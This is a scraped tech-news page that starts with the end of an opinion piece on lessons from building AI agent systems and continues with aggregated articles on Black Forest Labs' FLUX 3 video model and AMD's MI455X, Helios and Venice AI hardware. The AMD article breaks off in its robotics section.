<p class="wp-block-paragraph">Early on I spent a lot of time comparing models, the way you’d agonize over a restaurant menu and then order what you always order. Now I spend most of it thinking about context, which is far less fun and far more useful.</p>



<p class="wp-block-paragraph">I’ve watched good models fail because they were handed too much, not too little. One team I worked with gave the model access to nearly every internal document they had on the theory that more information meant better answers. It went the other way. Responses got slower, less consistent and sometimes skipped right past the thing that actually mattered. When we cut the context down to only what the task needed, the quality jumped almost immediately. I didn’t predict that. It taught me to be suspicious of “just give it everything.”</p>



<p class="wp-block-paragraph">The best agent systems I’ve worked on weren’t the ones with the biggest context windows. They were the ones careful about what reached the model, and when. That’s not something the framework hands you.</p>



<h3 class="wp-block-heading">Failure is where the real work is</h3>



<p class="wp-block-paragraph">Most agent demos look great because they’re built around the happy path. Production doesn’t extend that courtesy.</p>



<p class="wp-block-paragraph">I remember a project where everything held up in testing. Then a downstream API timed out after the agent had already completed several earlier steps. We couldn’t just restart, because part of the business process had already gone through. We ended up spending far more time on recovery logic than we ever spent on prompts. That project changed how I think about this work. The hard part was never getting the model to make a decision. It was making sure the system didn’t fall apart when reality refused to follow the script.</p>



<p class="wp-block-paragraph">Tool calls fail partway through. APIs return inconsistent data. Models call the same tool over and over because the last answer wasn’t what they wanted. That’s not the exception; that’s a normal Tuesday. Whether you retry, roll back, pause for a human or push on with partial results is a judgment call, and no framework is going to make it for you.</p>



<h3 class="wp-block-heading">Identity is the real security boundary</h3>



<p class="wp-block-paragraph">This one surprised me most. The moment an agent stops being a chatbot and starts touching real business systems, identity matters more than orchestration.</p>



<p class="wp-block-paragraph">Every project gets to the same question eventually. Who is this agent actually acting as? The developer’s credentials? A service account? The user who asked? Get it wrong and you’ve built something autonomous running with more access than any single person should have, which is exactly the kind of thing that looks fine until an audit. The Agent Framework, like most modern tooling, makes it easier to wire agents to tools through standards like the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. That helps. But where human approval belongs, what needs extra authorization, how much rope to give the thing, those are still yours to decide.</p>



<h3 class="wp-block-heading">The surprises weren’t technical</h3>



<p class="wp-block-paragraph">Here’s what I didn’t see coming. The hardest part of last year wasn’t technical at all. It was organizational. The moment a team heard “agent,” expectations shifted under everyone’s feet. Business stakeholders started expecting full autonomy. Developers assumed the thing could reason its way through anything. People started designing for flexibility before we’d even agreed on what problem we were solving. The word did damage before any code did. I found myself spending as much time resetting expectations as I did discussing architecture.</p>



<h2 class="wp-block-heading">Build for change, not for today’s winner</h2>



<p class="wp-block-paragraph">I don’t think the teams that struggled last year picked the wrong framework. Semantic Kernel was reasonable. AutoGen was reasonable. Foundry made sense for plenty of cases. I’d have signed off on any of them.</p>



<p class="wp-block-paragraph">The ones that got hurt put all their eggs in one framework, treating it as the foundation of the whole system instead of as one more dependency. Microsoft provided a migration path. But teams that had tightly coupled their applications to framework-specific abstractions discovered that migrating and rewriting are not the same thing. That wasn’t Microsoft’s doing. It was their own architecture’s. The teams that moved easily had kept their business logic, prompts and orchestration loose enough to evolve independently of any one SDK. For them, the change was a manageable project, not a teardown.</p>



<p class="wp-block-paragraph">For what it’s worth, nobody I work with is treating this as an emergency. Most are moving the smaller workloads first, watching how they behave and leaving the production-critical systems alone until they actually understand the new abstractions. That’s the right instinct. And I doubt this is the last consolidation we’ll see, the ecosystem is still young, frameworks will keep absorbing each other and over time the differences between them will be operational more than architectural.</p>



<p class="wp-block-paragraph">I don’t regret the framework debates, honestly. They were reasonable at the time. What changed wasn’t Microsoft’s roadmap.</p>



<p class="wp-block-paragraph">It was mine. Watching these systems run in production taught me that the framework is the easiest piece to swap out. Recovery logic, context management, security boundaries, the business workflow itself, those stay with you long after today’s SDK gets replaced by tomorrow’s.</p>



<p class="wp-block-paragraph">So, Microsoft made one decision easier by turning three frameworks into one. Good. Five years from now we’ll be on different tools, and we’ll still be asking the same handful of questions.</p>



<p class="wp-block-paragraph">Does this actually need an agent? Does it have the right context? Can it recover when something breaks, because something will? Is it acting as the right person?</p>



<p class="wp-block-paragraph">Those questions outlast every rewrite. That’s where I’ve learned to put my effort.</p>



<p class="wp-block-paragraph">Frameworks come and go. Good architecture has to survive all of them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[AMD expands its software stack with Rocm.ai]]></title>
<description><![CDATA[The company wants to simplify AI workload deployment with unified development and optimization platform]]></description>
<link>https://tsecurity.de/de/3690293/it-security-nachrichten/amd-expands-its-software-stack-with-rocmai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690293/it-security-nachrichten/amd-expands-its-software-stack-with-rocmai/</guid>
<pubDate>Thu, 23 Jul 2026 23:58:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The company wants to simplify AI workload deployment with unified development and optimization platform]]></content:encoded>
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<title><![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]></title>
<description><![CDATA[Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture t...]]></description>
<link>https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with <a href="https://bfl.ai/blog/flux-3">today's launch of FLUX 3</a>, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.</p><p>The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. </p><p>That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. </p><div></div><p>FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a <a href="https://tally.so/r/44d9NX">gated "Early Access" program now</a>, to which anyone can apply, but which BFL must approve. </p><p>There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Anthropic</a> and <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI</a>, though those were ostensibly for security concerns and due to government request. </p><p>What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.</p><p>Another big notable omission: FLUX 3 is <i>not</i> launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.</p><p>But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. </p><h2><b>Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption</b></h2><p>BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. </p><p>In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.</p><p>One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.</p><p>Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.</p><p>Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.</p><p><a href="https://venturebeat.com/technology/googles-gemini-omni-flash-hits-the-api-turning-enterprise-video-production-into-a-conversation">Gemini Omni Flash</a>, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. </p><p>Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.</p><p>One regional wrinkle matters for a German company's home market. Editing <i>uploaded</i> video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.</p><p>Here's a rough guide for enterprises considering which video models to rely upon: </p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Max single-generation duration</b></p></td><td><p><b>Max resolution</b></p></td><td><p><b>Key constraints</b></p></td><td><p><b>Price per 10-second clip (720p)</b></p></td><td><p><b>Price per 10-second clip (1080p)</b></p></td><td><p><b>Price per 10-second clip (4K)</b></p></td></tr><tr><td><p>FLUX 3 Video </p></td><td><p><b>20 seconds </b></p></td><td><p>Not stated; evaluations run at 720p </p></td><td><p>Early access; no published SLA or pricing </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td></tr><tr><td><p>HappyHorse 1.1 </p></td><td><p>15 seconds </p></td><td><p>1080p </p></td><td><p>No 4K; closed weights </p></td><td><p>Not published (v1.0 reseller rate is ~$1.82) </p></td><td><p>Not published (v1.0 reseller rate is ~$3.12) </p></td><td><p>n/a </p></td></tr><tr><td><p>Veo 3.1 </p></td><td><p>Per-second billing </p></td><td><p><b>4K</b> </p></td><td><p><b>Supports clip extension; preview </b></p></td><td><p>$4.00 </p></td><td><p>$4.00 </p></td><td><p>$6.00 </p></td></tr><tr><td><p>Veo 3.1 Fast </p></td><td><p>Per-second billing </p></td><td><p><b>4K </b></p></td><td><p>Preview </p></td><td><p>$1.00 </p></td><td><p>$1.20 </p></td><td><p><b>$3.00 </b></p></td></tr><tr><td><p>Veo 3.1 Lite </p></td><td><p>Per-second billing </p></td><td><p>1080p </p></td><td><p>No 4K, no clip extension; preview </p></td><td><p><b>$0.50 </b></p></td><td><p><b>$0.80 </b></p></td><td><p>n/a </p></td></tr><tr><td><p>Gemini Omni Flash </p></td><td><p>10 seconds (3s minimum) </p></td><td><p>720p at 24 FPS </p></td><td><p>Preview abd no EU access</p></td><td><p>$1.00 </p></td><td><p>n/a </p></td><td><p>n/a </p></td></tr></tbody></table><h2><b>One architecture for media generation and physical action</b></h2><p>FLUX 3 builds on <a href="https://venturebeat.com/technology/black-forest-labs-new-self-flow-technique-makes-training-multimodal-ai">Self-Flow</a>, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. </p><p>The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.</p><p>"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."</p><p>He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."</p><p>BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.</p><p>For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.</p><p>For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.</p><h2><b>What FLUX 3 Video can actually do</b></h2><p>The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. </p><p>Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching <a href="https://developers.openai.com/api/docs/guides/video-generation">OpenAI's discontinued Sora model.</a></p><p>The capability list BFL published covers:</p><ul><li><p>Text-to-video generation.</p></li><li><p>Image-to-video generation, either animating from a starting frame or using images as visual references.</p></li><li><p>Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.</p></li><li><p>Generative video-audio continuation from existing video and audio input.</p></li><li><p>Keyframe-to-video generation for controlled transitions between defined moments.</p></li><li><p> Multilingual dialogue.</p></li><li><p>A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.</p></li><li><p>Typography generation and animated design.</p></li><li><p>Agentic chaining of individual clips into longer, multi-shot sequences.</p></li></ul><p>That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.</p><p>It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.</p><p>BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.</p><h2><b>FLUX-mimic tests whether video models can become robot models</b></h2><p>BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.</p><p>The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.</p><p>FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. </p><p>BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.</p><p>"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."</p><p>BFL<!-- --> argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. </p><p>Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." </p><p>The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. </p><p>There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.</p><h2><b>Open weights helped make FLUX an industry standard</b></h2><p>BFL<a href="https://venturebeat.com/technology/s"> officially launched in summer 2024 </a>and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. </p><p>The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and <a href="https://venturebeat.com/business/stable-diffusion-creators-launch-black-forest-labs-secure-31m-for-flux-1-ai-image-generator">Stable Diffusion</a>, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies. </p><p>That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.</p><p><a href="https://www.wired.com/story/black-forest-labs-ai-image-generation/"><i>Wired</i></a> magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.</p><p>FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, <a href="https://venturebeat.com/business/black-forest-labs-releases-flux-1-1-pro-and-an-api">released shortly after the firm's launch,</a>  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.</p><p>The company continued that pattern with <a href="https://venturebeat.com/ai/black-forest-labs-launches-flux-2-ai-image-models-to-challenge-nano-banana">FLUX.2 Dev</a> in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.</p><p>FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.</p><p>The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows. </p><p>The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.</p>]]></content:encoded>
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<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



